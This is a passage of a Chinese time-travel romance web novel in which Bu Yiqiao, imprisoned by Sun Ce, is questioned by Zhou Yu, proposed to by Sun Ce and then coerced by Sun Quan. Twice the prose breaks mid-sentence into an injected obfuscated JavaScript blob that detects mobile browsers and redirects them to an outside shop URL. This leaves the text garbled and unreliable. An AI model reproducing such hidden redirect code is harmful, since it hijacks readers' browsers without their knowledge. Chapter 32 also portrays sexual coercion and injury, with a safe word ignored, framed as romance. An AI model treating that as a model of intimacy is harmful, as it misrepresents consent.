她得的哪里是寻常的病症,分明是困在两个时代、两段情缘中的心疾。这些日子与孙权的纠缠,对孙策的愧疚,还有那夜窗外模糊的人影,都像毒蛇般啃噬着她的心神。 “严白虎,”她忽然抬起头,“若你此次能活着出去,答应我一件事。” “姑娘请说。” “别再做山贼了。带着你的部下,找个地方好好过日子吧。离江东远些,别又被抓了。” 严白虎怔怔地望着她,眼前素昧平生的女子在生死关头,关心的竟还是他的前路。他郑重地点头:“若真能活命,我严白虎对天发誓,定不负姑娘所托。” 步一乔终于露出一丝真心的笑意。或许这就是她来到这个时代的意义:救不了自己,救不了孙策,但至少,能救下一个迷途知返的灵魂。 地牢外忽然传来脚步声,由远及近。步一乔的心猛地揪紧。是孙策回心转意,还是……行刑的时刻到了? 她真心希望是孙策,希望看到他的脸上除了愤怒外没有别的情绪。 至少……不要有失望。 牢门在沉重的响动中被推开,孙策站在门外,逆光的身影显得格外高大,脸上看不出喜怒。 他没有看严白虎,目光沉沉地锁在步一乔身上。 “都退下。”他命令狱卒。 脚步声远去,地牢里只剩下三人。步一乔扶着墙壁缓缓站起,与孙策隔栏相望。两人都异常平静,仿佛先前的争执从未发生。 “为什么?”孙策开口,声音低沉得可怕。 步一乔垂下眼帘:“将军指的是什么?” “你知道我在问什么。”孙策向前一步,手指扣在铁栏上,“你不是桥公的女儿,你根本不叫桥一乔。从你出现在桥府那日起,到如今为一个山贼以命相搏。一乔,你究竟是谁?来江东究竟要做什么?” 步一乔轻笑,“又是周瑜告诉你的吗?” “与公瑾无关。我只问你……为何?” “我只是……不想见死不救。” “不见死不救?”孙策冷笑,“你看着我的眼睛说,你救他,当真因此吗?” 步一乔猛地抬头,对上他锐利的目光。那一刻,她几乎要脱口而出,说她来自千年之后,说她知晓人的寿命转瞬即逝,根本没有来世今生。 人死了,可就真的没了。 但她不能。 “没有。”她别开脸,干哑的嗓音差点暴露了情绪,“将军若不信,我无话可说。” “无话可说?”孙策猛地拍在铁栏上,“难道非要逼我将你赶尽杀绝吗!” 一直沉默的严白虎忽然起身:“孙将军!此事与这位姑娘无关!要杀要剐,我严白虎一人承担!” “你闭嘴!老子在问她!”孙策厉声喝道,目光却仍死死盯着步一乔,“你,说话。” “我……”步一乔绝望地闭上双眼,“无话可说。” 严白虎却上前一步,挡在步一乔身前:“我虽落草为寇,却也懂得义气二字!姑娘以命相护,我严白虎岂能做个缩头乌龟?要杀就先杀我!” “老子本就要杀你!”孙策倏地抽出腰间佩剑指向严白虎,“再多说一句,老子一刀砍了你。” 步一乔惊呼:“伯符!” 剑尖在严白虎喉前寸许停住。孙策的手稳如磐石,声音却压抑到极致。 “我给你最后一次机会。说实话,或者——”他剑锋微侧,“老子现在就杀了他。” 步一乔看着横在严白虎颈间的利剑,又看向孙策通红的双眼。再也压抑不住的情绪崩塌,近乎嘶吼: “杀杀杀,杀那么多人,你就不怕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16526278|185506||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 引火烧身,把自己害死吗!” 建安五年,孙策死于自己所杀的许贡门客手下,不治身亡,时年二十六。 急促的喘息回荡牢狱中,每一个字都像利刃刺向孙策的心口。 “人不会投胎的,不会有来生的!死了就是死了,死了就没了!他已经向你求饶了,他说了他不想死,你为何非要赶尽杀绝!” 步一乔滑坐在地,将脸深深埋进掌心,哭得撕心裂肺。压抑了太久的恐惧、孤独和对这个乱世的无力感,在这一刻尽数决堤。 她聪明地找了借口,发泄出自尊心作祟,压抑着自己的愧疚。 有一瞬,步一乔觉得自己是那么自私。她居然冒出“如果不是为救孙策,所有违背伦理的事都不会发生”的想法。 这个念头让她无比厌恶自己,心痛得更厉害。 “当啷”一声,长剑落地。 孙策伸出手,想要触碰地上蜷缩成一团的身影,却在伸出后瞬间停住。 “一乔……”他的声音沙哑,带着从未有过的无措。 步一乔抬起泪眼朦胧的脸,在模糊的视线里,看见的是孙策眼中坚冰融化的痛楚。这个向来杀伐果断的男人,此刻眼中翻涌着她从未见过的惊涛骇浪。 严白虎看着地上那柄令无数人闻风丧胆的剑,只觉不可思议。他从未想过,眼前瘦弱的女子竟能撼动江东小霸王的心志。 孙策别开脸,双手握成拳,身体颤抖着,唇瓣张合好几次,却终究什么也没能说出。最后决然转身,逃离似的大步离去。 步一乔望着他离去的背影,泪水再次模糊了视线。 她知道,有些话永远不能说出口。 比如那个建安五年的预言,比如她来自千年之后的秘密,又比如……她与孙权那些见不得光的情愫。 倒不如“死”了干净。 严白虎轻轻叹了口气:“姑娘,你这又是何苦……惹怒了小霸王,可就这没活路可走了。” 步一乔没有回答,只将脸重新埋进膝间。地牢的阴冷渗入骨髓,但她知道,最冷的从来不是石墙铁栏,而是明知结局却无力改变的绝望。 的确没活路可走。 步一乔无法改写历史。 孙策无法改变被杀的命运。 * 三日后,侍卫推开门,示意步一乔:“主公要见你。” 室内昏暗,众人屏息等待主公发话,可良久无人言语。孙策就这么盯着步一乔,无神的眼里映着她同样空洞的面容。 待众人退去,只剩下座上端坐之人与堂下跪地之人。 “不是吧?”孙策终于开口,声音干涩。 “什么?” “你与严白虎……?”他终究问出了这个荒谬却必须确认的猜测。 否则他想不明白步一乔究竟出于什么心,要救一个贼人、一个男人。 “……不是。”步一乔垂下眼帘,完全避开孙策灼人的目光,“那日,是我与他初见。” 指节捏紧的脆响在寂静中格外刺耳,手背青筋虬结。 “几日前……”孙策的眉头痛苦地蹙动,“我在你卧房外……听见了仲谋的声音。” 步一乔沉下眸子,所有的挣扎与慌乱在这一刻奇异地归于平静。 “我也正是因为知道那夜门外的人是将军,才想到此法,逼您做个了断。” 真相如同巨石沉入深不见底的海,激不起半分涟漪,也再无转圜余地。 “我会自己离开,”她缓缓跪伏于地,额头轻触冰冷的地面,“恳请将军……莫要牵连桥家,放我自寻死路吧。” 30. 空荡荡 昨日的恳求不了了之,孙策怒火中烧,却又强忍着不在步一乔面前彻底失控,最终气冲冲地拂袖而去。 彻夜,步一乔在冰冷的牢房中辗转难眠。 “我这开年又是大病一场,又是蹲牢房,也运气太好了吧。”她冷笑着自我嘲讽道。 孙策终究是留了情面,特地命人将她关押在一间相对干净、甚至有一扇小窗透气的牢房,还严令必须与严白虎隔得远远的。 孙权不曾来看望。大抵是孙策下了严令,不许他靠近吧。 事情败露至此,步一乔最忧心的,是兄弟二人的关系,是否会因她生出无法弥合的裂痕。 她背靠着冰冷的墙壁,慢慢侧身躺倒,枕在勉强算是干净的草席上。有淡淡的霉味和雨后泥土的潮湿气息。 “他现在……在做什么?” 步一乔疲惫地闭上眼,脑海中自然浮现那张脸。 那个从树上意外跌落、满脸堂皇不知所措的少年的脸。 她不由轻笑出声,“那么大的人,真是一点没变……嗯?” 笑意猝然僵在唇角。 “方才……我想起的,分明是我与伯符初见的梦啊……” 可为何此刻脑海中,那模糊梦境里的脸,竟变成了稍显年长、却依旧带着清澈少年气的孙权? 是记忆出了错?还是……从一开始,就有什么被彻底弄错了? “初夜不是他骗我至房中那夜……原是我逼他做男女之事……山野春梦虽记不全,但确是我主动上前询问……春宵一度……” 步一乔声音渐弱。此刻没在生病,她的脑袋异常清醒。 “不会吧……不会是我被孙权搞得晕头转向,开始把伯符想成他了吧……” 一定是这样!步一乔反复自我断定。 孙权不过是身体契合的本能反应,一时迷惑了心智,让她错把愧疚与欲望当成了心动。 “动心……” 她蜷缩起身子,将脸埋入膝间,闭上眼,试图驱散那张漫漫山野中,笑眼中盛着春水的脸。 “我怎么会对两个人动心呢……分明……只有他啊……” 分明动心的只有他。 “都是孙权的错……我怎么能对你动心呢……” 分明从一开始,让她真正心动的,让她在懵懂梦境与混乱现实里都不由自主靠近的,只有孙权啊。 * 长夜睁眼到天明。 士兵送来早膳时传话,一个时辰后主公要再次审问。 被押送至堂中时,步一乔内心原已一片死寂。彻夜未眠让她精神恍惚,却在抬眼看见孙策身旁那抹身影时,魂魄瞬间被拽回躯壳。 “孙权……” 发颤的手下意识想要伸向他。 孙权也察觉到她细微的动作,险些抓住那只无处安放、寻找安慰的手。 “一——” “仲谋,”孙策冷硬的声音截断他未念完的名字,“过来。” 孙权身形一僵,终是依言转身。临走前目光在她脸上细细掠过,从干裂的唇瓣扫到泛红的眼尾。 “孙权……”步一乔又轻唤了声,红肿的眼中水光潋滟。 孙权倏地钉在原地,再也挪不动步子,视线牢牢锁住她,从湿润的眼睫到微微发抖的肩线。 “仲谋!”孙策加重语气再次下令。 步一乔死死咬住下唇,生怕自己会失控,会暴露那不能言说的秘密。可想要呼唤他、触碰他的心,如同本能,无法藏匿。 “孙权……” 孙权呢? 他哪里见得她受半分委屈? 下一刻,孙权毅然将兄长的命令抛在脑后,一步上前逼近步一乔,捏住自己的袖口,极轻地拭去她眼角的泪。 “别哭。别哭。”他嘶哑着声音,克制着心疼。 步一乔也不想哭,只是他这样,又是这两个字……怎么能不哭? 孙权身形高大,恰好将两人的动作挡得严严实实。孙策只见弟弟的背影,却看不见步一乔将额头无力地抵上他的胸膛。 “你快走开……不要管我……” “我怎么能不管你?”孙权的手掌落在她凌乱的发顶,轻柔地抚过,“别哭,我不会抛下你的。” 眼下哪儿是担心自己被抛下的时候,她难过的是—— “是我要抛下你啊……” 孙权茫然地看着步一乔,疑惑还未来得及问出口,身体已被她用尽全力推开,踉跄着后退两步才站稳。 恰在此时,严白虎被押解进来,与步一乔一同被强按着跪在地上。 孙策走到孙权身侧,将弟弟用力拉至身后,目光如炬地扫视着地上的男女。 “众人退下。仲谋留下。” 堂内转瞬只剩下他们四人。片刻,周瑜匆匆赶来,五人于堂中安安静静,令人窒息。 “接下来我问你的话,不得有半字虚言。”孙策端坐正中,居高临下。 步一乔颔首,“是。” “姓甚名谁?” “我姓……步,名一乔。” 步姓出口,孙策恍惚了一瞬,眼睛不自觉地看向身旁看似平静无波澜的孙权。 一位姓步的心上人,仲谋心悦的,并非淮阴步氏的那位? “何方之人?”孙策 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孙策向来信任周瑜,跨步上前,拎起严白虎,一个眼神示意,强行将目光胶着在步一乔身上的孙权一并带离。 沉重的堂门合上,压抑的空间里,又剩曾对峙过的两人。 “步一乔,是吗?” “周公子有话直问。反正你什么都听到,什么都知道,我对你没什么好隐瞒的。” “对仲谋也是?” 步一乔抬眸看他,不予回答。 周瑜并不急于逼问,他转身,步履从容地走向一旁,说道:“仲谋似乎与你是旧识?可据我所知,在皖城时……你们应当未曾见过。” 他弯腰拾起一方坐垫,转而缓步走向步一乔。 “有桩趣闻。年二十八,有人称见仲谋与一女子在街市拉扯。但因无人信那是仲谋会做之事,这风流名声,便落到了旁人头上。” “然后呢?”步一乔不以为然。 “是徐姑娘提及,她亲眼所见,亲耳所闻,听见你二人说着些……关于‘过往’的话。且听那言辞恳切,不似初识,倒像是……相识多年。” “然后呢?”步一乔重复道,又些许不耐烦周瑜拐着弯问些无聊的话,半晌不道出他真正要问的。 瞧出被识破,周瑜轻笑,撩起衣摆,在她面前的坐垫上盘腿坐下。相较上次谈话,不过少了一方茶台。 一切伪装的和气都已撤去。 “那么,瑜很好奇……究竟,何为穿越?” 31. 苦昼短 “我若眼下跟你讲明白了,岂不是要礼崩乐坏,天翻地覆?”步一乔道。 周瑜唇角微扬,笑意却未达眼底,“倒也不至于,我只是好奇,穿越为何物,也好……明白我厮守之人,从何而来。” 他稍稍抬眸,眼里看的是步一乔,心底想的是小乔。 “民国,是何时的朝代?” “不可说。” “你与她差了百年,你又从何时而来?” “不可说。” 步一乔嘴上重复着单调的答复,心底早已对着周瑜翻了个白眼。这人那日果然一字不落地听全了他们的密谈。 “你为何没告诉伯符?”步一乔抛出疑问。 无论他们私谈多少次,周瑜始终守口如瓶,甚至……暗中相助。 “皖城时,又如何看出我在寻孙权?” 周瑜了然似的颔首道:“直觉。一个聪明的谋士,直觉与察言观色同等重要。” “我从未暴露自己与孙权之事,你只一眼,如何看出的?” “是啊,怎么知道的呢。”周瑜忽而轻笑,“你我总是将问题绕回原处,毫无进展。该说你聪明,还是你我有几分相似?” “都不是。”步一乔默默叹了口气,“起初我确实讨厌你,自以为是,咄咄逼人,一副定要将我逐出江东的架势。” “何时?”周瑜微抬下颌,“将来吗?” 步一乔盯着那双笃定的眸子,道:“没有你,我同样可以辅佐伯符成就大业。” 没有周瑜,她亦可凭史书所知替代他,辅佐孙策。即便历史节点不可更改,待下一任江东之主登台,她同样能扭转乾坤。甚至在周瑜身后,她亦可引领孙权,修正谬误,重写历史。 周瑜注视着她淡然却不容置疑的决绝,眼底掠过一丝欣慰。 “多谢。” 突如其来的道谢,弄得步一乔茫然。 “……谢什么?” “来此之前,夫人嘱托我,望我能救你一命。” “小乔?她……还好吗?” “担心你担心得茶不思饭不想,无时无刻不念叨着你。” 步一乔垂首,“让她担心了。” “为何要以身相救一个素未谋面之人?”周瑜不待她答,因他早已洞悉,“因为仲谋?” 步一乔别过脸去:“我的存在本就是错,不过弥补罢了。” “是啊,都是你的错。”周瑜低笑,“仲谋何曾做过这等违背伦常之事?若非他贤德之名深植人心,年前那事,足以毁尽他在江东的根基。” “正因如此,我的决定没错。” “那伯符呢?” 步一乔嗤笑:“我这般,怎配得上伯符?他险些气极,如今吴郡谁人不知,孙策未过门的妻子当众说要救一个山贼?” “你待伯符如何?又待仲谋如何?” “我不知道……” 昨夜零碎画面掠过心头,连她自己也分不清,这一年倾心之人究竟是谁。 思绪流转间,她忽然忆起大乔提过的那位能预言的修士。又想到了初临江东时,侍卫说一位道士说孙策是武神化身,自然不信鬼神。还有严白虎说能治病且能预言的道士…… 莫非是同一人?他……能解答自己的疑惑吗? 周瑜见她神游天外,执起手边竹简轻敲她额间。 “夫人还说……”周瑜稍作停顿,故意引来步一乔全神贯注,“你若有难解之惑,或可寻一位云游道人。据说此人能通晓古今,预言天命。” 步一乔心头一震,震惊之余怀疑周瑜是不是能听见她的心声。 “你知道这位道士在哪儿?” “寻人还不简单。”周瑜优雅起身,掸去尘埃,“一刻钟到,我去唤伯符。” “等一下!”步一乔猛地直起上身,拉住他衣袖,“帮我个忙吧,求你了。我想见他。” * 周瑜推门而出,步一乔随其后。 “我孙策向来信守承诺。”他手起刀落,砍断捆绑严白虎的绳索,“滚出江东,此生不准我再看到你。” 严白虎揉着手腕上深深的勒痕,目光转向步一乔。 “步姑娘……你不必为我做到这般地步的……” 步一乔尚未开口,孙策的刀锋已抵上严白虎喉间。 “滚。” 一字千钧,全场寂然,四周的侍卫全部垂首屏息。 严白虎最后瞥了步一乔一眼,终究转身疾步离去。 场中尚有一人,怒意不逊孙策,只是惯于隐忍,若非细察难以察觉。 “公瑾带仲谋先行离开。” “兄长!”孙权上前一步。 孙策手腕一转,刀尖直指孙权胸前。这是他生平第一次,以兵刃相对自己的弟弟。 “仲谋,退下。”孙策再次下令。 此刻,身份已变。 他不再是兄长,而是主公。孙策为君,孙权为臣。 刀刃距离孙权的胸口只有一掌之隔。孙权盯着眼前的刀尖,呼吸渐重。周瑜适时上前,轻轻按住孙权的手臂。 “走吧仲谋。” 孙权在周瑜半劝半扶下离去,背影僵硬,三步一回头。步一乔望着他,直到消失在门外,胸中如堵石垒。 她深吸一口气,转向孙策,敛衽为礼:“多谢伯符成全。一切因我而起,搅扰府上安宁,我……深感愧疚。” “但请将军最后听我一言:切勿独自出门狩猎,务必处处小心。那些……昔日放走的余孽,祸患常起于疏忽。血肉之躯,会伤会死。人若死了,就什么都没了。” 同样的话她可翻来覆去地说,却唯独求不出一声“原谅”。 是真心换不来真情吗?孙策待她一片赤诚,可她这颗心,早已被另一人囚禁,挣脱不得。 语毕,步一乔亦欲转身速速离开这令人窒息的地方。 “回来。”孙策叫住她,声淡如常,听不出波澜,“我一无所知。” 步一乔脚步停住,回过头:“什么?” “这些日子发生的所有事,”孙策看着她,字字清晰,“我一无所知。” 步一乔怔住了:“将军你……” 孙策忽然一步跨前,双臂一伸,将她整个拥入怀中。他手臂不断用力,箍得她骨头发疼。 “我放不下你。那日听你言‘以命换命’,我心如雷击,痛不能抑。” 不远处,孙权并未真正离去,他立在门边阴影里,紧抿着唇,看着步一乔的眼睛,再看兄长拥住她的背影。少年脸上本全是厉色,步一乔却从中辨出了委屈。 她心下黯然。 没有她,孙权依旧是那个万众瞩目的孙仲谋,将来妻妾成群,坐拥江东。他可是能与曹刘抗衡的人啊。 但孙策不同。 在这段她亲身经历的历史中,他始终形单影只。连原本该伴他身侧的大乔,也被自己取代。 “一乔,”孙策的声音将她思绪拉回,“我们成亲吧。” 他顿了顿,继续道:“我虽一介武夫,终日只知征伐。这些年来,见母亲随父亲戎马半生,深知你若嫁我,将过何等日子。可是……” 他手臂又紧了紧,将她更深地圈进自己身体里。 “你就当我自私!我就是要与你成亲!” 步一乔脸色转白,开始用力推他。 “将军不要这样。这只会让我对你愧疚更深……” “何来愧疚?我为何不知?” “你——”步一乔几乎急出泪来,“我违背了三从四德,按照律法,我该去浸猪笼的!若损你一世英名,不如让我死了干净!” “步一乔!” 孙策低喝一声,双手捧住她泪湿的脸,用指腹去擦她颊上的泪,力道有些重。 “你不是说,‘人生何其短暂’吗,我不想错过你。我不想短暂的一生,身边没有你。” 那感觉早已超越了所谓的“前世恩情”。他就是对眼前的女子着了魔,已爱至骨髓。 即便她犯下不可挽回之过,即便那人是他最器重的弟弟,他也宁愿装作一无所知,只因放不开这双手。 “……将军又在作诗了。”步一乔哽咽着埋下头。 “一乔,你答不答应我?”孙策追问,“你应我一声,好不好?” “我……我……” “你不说话,我就当你答应了。” 孙策再次将她紧紧搂住。 “明日正月十五,是个好日子。我们成亲。” * 夜色浓重,步一乔独坐房中,半张脸埋进枕内。 白日里孙策的话还萦绕在心头。 明日……不如说今天,她真要嫁给孙策了。 门轴忽然发出一声轻响。她以为是夜风,并未抬头,直到一个熟悉的身影悄无声息地闪入屋内,利落地合上门扉。 “孙权?” 孙权从阴影中走出,肩头还带着深夜的寒气。他快步走到榻前,俯身紧紧抓住她的手腕。 “跟我走。” “去哪?” “私奔。” “私奔?!”步一乔猛地抽手,“你疯了!” “我没疯!” 孙权压低声音,每个字都像是从牙缝里挤出来,忽然拽着她的手腕将她从榻上扯起,逼近跟前。 “要我亲眼看着你嫁人,且不是嫁给我……倒不如方才死在兄长剑刃下!” 他两手握上来,将她的手指紧紧捏在掌心。力道之大,步一乔感觉骨头都在生疼。 “放手!” 步一乔拼命向后躲,脊背撞上屏风,发出沉闷的响声。孙权却趁势逼近,将她困在胸膛与屏风之间。 “一乔,你看着我的眼睛说,你愿意嫁他?” 她偏过头,被他用力扳回:“事已至此,别无选择。” “没有事已至此!”孙权打断她,“只要你点头,我现在就带你走。什么江东基业,什么君臣父子,我都可以不要!” “那你就要我做一个千古罪人吗?”步一乔抬脚踢在他小腿上,他却纹丝不动,反而欺得更近。 “罪人?” 孙权冷笑,突然低头咬住她的下唇,这不叫亲吻,是惩罚意味的撕咬。血腥味在唇间弥漫,步一乔不断发出闷哼,费力拍打他的臂膀胸膛提醒,他都无动于衷。 胡乱作为的手开始抽解她的衣带,骨线分明的肩头转眼暴露在寒风中,步一乔不禁打了个寒颤,身体不自觉地贴近跟前的热源。 孙权的手覆上她的后背,将她按进自己怀中,用滚烫的热意包裹她,温暖她。 “这才叫罪。你让我变成这样,现在想抽身而退?不许……” 他捏住她的两腮,舌尖直接闯入她的领地,开始攻城略地,杀个片甲不留。 纤细的双腿快要站不住,步一乔无论如何用力反抗,孙权就像感知不到似的,毫无反应。倒是唇舌用力更甚,直到喉间也尝到血腥,他才倏然醒悟。 步一乔奋力推开他,剧烈地咳嗽起来。淡淡的血水落到地板上,溅到地上的衣裳上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16541886|185506||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。孙权见状立马也蹲下身顺着步一乔的后背,却又被奋力推远。 她抬手狠狠擦过嘴唇,吼道:“孙权你清醒一点!你的抱负呢?江东的基业,你都不要了?!” “不要了!”孙权答得毫不犹豫,“我只要你。” 他上前抬起手想要拭去她脸上的泪痕和嘴角的血迹。步一乔猛地偏头躲开,又用力将他推开。孙权踉跄着后退了两步。 “不行!绝不可以离开!你不能离开孙家……这个家需要你,江东的未来更需要你……” “难道要我眼睁睁看着你与兄长拜堂成亲吗!” “那就看!”步一乔失控般怒吼道,“从皖城起,从我第二次到吴郡起,我本就要嫁给他的!” 孙权痛苦地皱紧眉头,死死盯着她。 “你若执意嫁给兄长,不要我了……我明日便迎娶谢氏。” 步一乔咬紧下唇,两人怒目相视,谁也不肯退让。 见她不语,孙权以为威胁还不够分量,又向前一步,不顾步一乔反抗拒绝,手指发力扣住她纤细腰肢,几乎要将她折断在怀中。 “说,要不要跟我走?” 步一乔疼得脸色发白,却倔强地昂起头。 “我、说、不、行!” 孙权眼底最后一丝理智彻底湮灭。他捞起地上的衣裳,打包行李似的包裹住步一乔,猛地将她拦腰抱起,朝着门外走去。 此时夜深,早没了清醒的人。 除了担心白日到来的苦情人。 这是他们第一次在孙宅的廊道间“光明正大”地同行。寒冬的夜气温已近冰点,步一乔却觉得比白日被炭火烘烤的室内还要灼热。她知道这个时辰不会有人醒着,却仍觉得每一处阴影里都藏着窥视的眼睛。 “孙权你要带我去哪儿!” 她在他怀中无声地挣扎,指甲深深掐进他肩头的衣料。可她病后虚弱的身子根本不是他的对手,所有的反抗都像是落进深潭的石子,只激起细微的涟漪。 孙权得逞似的低笑,故意把人往上一颠,步一乔吓得以为要摔下去,手臂本能地环上他的脖颈,两人顿时贴得更近。 “别蹭了嫂嫂,不怕被人看见吗?” “你——”步一乔气得浑身发抖,却又不敢大声,只能从牙缝里挤出声音,“你这个疯子……” “疯?”孙权抱着她转过廊角,认同似的点头,“对,我是疯了。从你选择兄长的那刻起,我就疯了。” 孙权单手箍着步一乔的腰,一脚踹开房门。将她撂下的瞬间,反手便落了锁,将她死死抵在冰凉的门板上。獠牙啃咬着她细嫩的皮肉,在脖颈处留下清晰可见的红痕。粗重的喘息喷在她颈间,手指粗暴地扯开她散乱的衣领。 “我今晚要做到什么地步……”他咬住她耳垂,力道逐渐咬合,字字磨进她血肉,“明天的婚事,才能作罢?” 步一乔吃痛,猛地伸手死死抓住他的头发,用力将他的头从自己颈间扯开。待脸抬起后扬起手就是两巴掌。不够解气,她又屈膝顶向他的磐石,却被他早有预料地牢牢制住双腿。 “放开我!” “不放。” 右腿插|入她□□,膝盖强硬地顶住,左手扣住她大腿,将她整个人更狠地压向门板。门板发出不堪重负的闷响。 “啊——!” 步一乔吃痛一声,拼命扭动身体,手肘撞在他胸口,光脚跟狠狠踩在他鞋背上。他却纹丝不动,反而俯身逼近,咬住她的下唇开始吮吸。 黑暗里,两具身体无声抗衡,喘息交错,分不清是谁的更急更重。 “或者……”孙权的手扣住她的腰,扯开她最后一层遮羞布逼问,“做到清晨?有人来敲门,然后被全全看见,告知到兄长那儿?” “不行!绝对不行!” 疯了……这人彻底疯了…… 步一乔慌乱地看着眼前的男人,唇边反复了几遍他的名字,都无法叫出口。 这人,还是孙权吗? “别这样……”她终于无力垂下头,哽咽出声,“我错了……都是我不好……求你别这样……” 此刻的孙权让她感到前所未有的恐惧。她真怕他会彻底失控,做出更可怕的事。 这便是自己贪图欲念的后果吗?只是惩罚她的,为何是他? 伯符也好,周瑜也好,谁都好,她受着,理所当然。 为何偏偏是他? “这不是我要的答案。”他的声音冷了下来,“要不要跟我走?要不要嫁给兄长?” 步一乔绝望地闭上眼,咬紧下唇不肯作答。 孙权眼底寒意暴涨,猛地扯开自己前襟,一手扼住她后颈,将人狠狠按上自己赤|裸的胸膛。 两颗心在方寸间疯狂擂动,分不清谁的更慌,谁的更痛。 “好。那我不止娶谢氏,还有你提过的徐氏、王氏、袁氏,所有你叫出名字的,我统统娶进门!” 他贴着她耳廓,字字诛心。 “我会让她们夜夜在你院外笙歌,让你听着我是如何宠幸她们……直到你后悔今日的每一个字。” 步一乔在他怀中剧烈颤抖,倔强的眼泪尚未落下,剧烈抖动的手撑在他同样发抖的身子上,仍不肯屈服,说不出话。 孙权低笑一声,钳制住她后颈的手力道不松,反而愈发用力。后颈是掐不死人的,只会痛。像驯服一只躁动的猫,扼住命运的后颈。 黑暗中,平静的声音令人心悸。 “既然你执意要做我的嫂嫂……那我便成全你。” 32. 偏偏 孙权将她拦腰抱起,毫不怜惜地扔在榻上。身躯随即覆上,用重量和力量将她禁锢。吻不是吻,是啃咬,从锁骨蔓延而下,在她白皙的肌肤上留下他的印记。 “成亲前夜不许男女见面。明日拜堂时,若叫人瞧见这些痕迹……你说,兄长会怎么想?” “你别说了……求你别说了……” 步一乔起初还挣扎,但力量的悬殊让一切反抗都成了徒劳。他熟知她每一处秘密,用最直接的方式撩拨、侵略,却始终在最关键处徘徊,不肯给她一个痛快,只让她在欲望与屈辱的浪潮中载沉载浮。 聪明的杀人者,从不一刀致命。 “仲谋……仲谋你不要……停下……仲谋……” 两个人规定好的安全词,毫无用处。 “说,”他的汗水滴落在她眼角,与她的混在一起,“说你后悔了。” 步一乔死死咬着唇,咬出血也不肯出声。她越是沉默,孙权的手段便越是狠戾。他要用她的身体记住他,用疼痛覆盖她对另一个男人的期待。 也忘了自己内心的痛苦。 “为何是兄长……就因当年你将我错认成他,从此眼里就只有他?” 孙权咬紧后槽牙,怒视着她绝望的脸。 “你为何忘了我……为何忘得一干二净,却又回来招惹我,告知我那不是一场梦……然后又丢下我,一次次逼我看着你牵住我的手,却转身走向兄长……到底为何……” “你心悦的,不是我吗?” 终于,在近乎残忍的折磨中,步一乔压抑不住的、破碎的呜咽,随即崩溃的、绝望的嚎啕。她不再挣扎,像个被撕扯坏的布娃娃,瘫软在榻上。 失控的哭声撕心裂肺,哭到快喘不上气,几乎窒息。宛若一把匕首,狠狠扎进孙权的心脏。 孙权心中那些疯狂、偏执占有欲、以及用伤害来掩饰的恐惧,在她滚烫的泪水面前瓦解。 初夜是这样,重逢亦如此。他偏执得再硬气,一见她的泪,便溃不成军,如同阶下之囚,哑口无言。 “别哭……抱歉,我……一乔,别哭。” 他的声音喑哑慌乱,与方才的暴戾判若两人。手忙脚乱地松开钳制,想将步一乔抱起来安抚,却又不知该如何安放双手。 头上是被他钳制着撞上门扉床榻肿起的鼓包,瘦弱的身子处处是他咬出的血痕,一些失了分寸的甚至还冒着血珠。双膝上有明显的淤青,腿上是红白分明的指痕。 “我讨厌你……你只欺负我……我讨厌你……” “对不起我错了……是我疯了,是我着了魔……抱歉一乔,别哭……” 孙权将她软烂如泥的身子捞起,紧拥入怀中。他笨拙地拍着她的背,一遍遍地,用嘴唇蹭着她被泪水和汗水浸湿的鬓角,反复低喃着同一句话: “别哭,一乔别哭……我错了,我错了,你别哭……” 这一刻,什么婚事,什么兄长,什么骄傲和胜负,都不重要了。他只知道,他弄哭了她。 而他,最看不得她的眼泪。 忽然,肩头传来一阵滚烫的湿意。 不是她的泪。 步一乔在剧烈的抽泣间怔住,那滴落的灼热,来自于他。 他也哭了。 孙权埋首在她颈间,身体难以抑制地颤抖。起初只是压抑的、断断续续的吸气,随即化作沉重而破碎的哽咽。他抱得那样紧,不愿分离。 “别哭……你哭什么……不准哭!” 换成步一乔带着浓重鼻音、断断续续的安抚。她想抬头看孙权,却被他更用力地按住,将脸深深埋进她散乱的发间。 他说不出一句完整的话,只有滚烫的液不断滑落。 方才还如同暴君般不可一世的男人,此刻又回到那个无措的少年,只剩下痛苦与后悔。 “别哭……一乔别哭……” 步一乔心口那团硬块融化,她伸出虚软的手臂,轻轻回抱住了他颤抖的脊背。 “我该怎么告诉你……你不能走,而我……也必须留在伯符身边。这一切,与情爱无关。” 无关情爱,只关乎历史。只关乎一个钻牛角尖的女人,执意要改写命定的轨迹。 孙权的体温似乎降了些,环抱她的手臂微微僵硬,终于抬起头,对上她苍凉的眼眸。 “告诉我吧。”他轻抚她的脸颊,“再荒唐的传闻,再离奇的神怪之说,只要是你说的,我都信。” 又低笑一声:“连我们初遇在将来这种事我都信了,还有什么不能接受的?” 步一乔泪眼朦胧地看着他,有些茫然:“将来?你是说……那场梦?” 孙权颔首。 “什么时候?在哪儿?我们……是怎么遇见的?”她急切地追问。 “建安七年,我于吴郡镇抚山越,行至山野走丢了马匹,想出上树远眺的法子。忽闻动静,一见是位服侍怪异的女子,竟出了神,从树上掉下。” 每一个细节都严丝合缝,甚至比她自己记得还要真切。 “可是……那不是我的梦吗?莫非当时坐在坟墓边,我当真穿越了?!”步一乔难以置信地望进他眼底,“你不觉得怪异吗?那可是……两年后的事啊?” “当然诡异,我曾百思不得其解。”孙权坦然承认,指腹轻轻摩挲着她的手腕,“但自从与你重逢,这一切似乎……都不再重要了。” 他握住她的双手,低头在她掌心落下一个虔诚的吻。 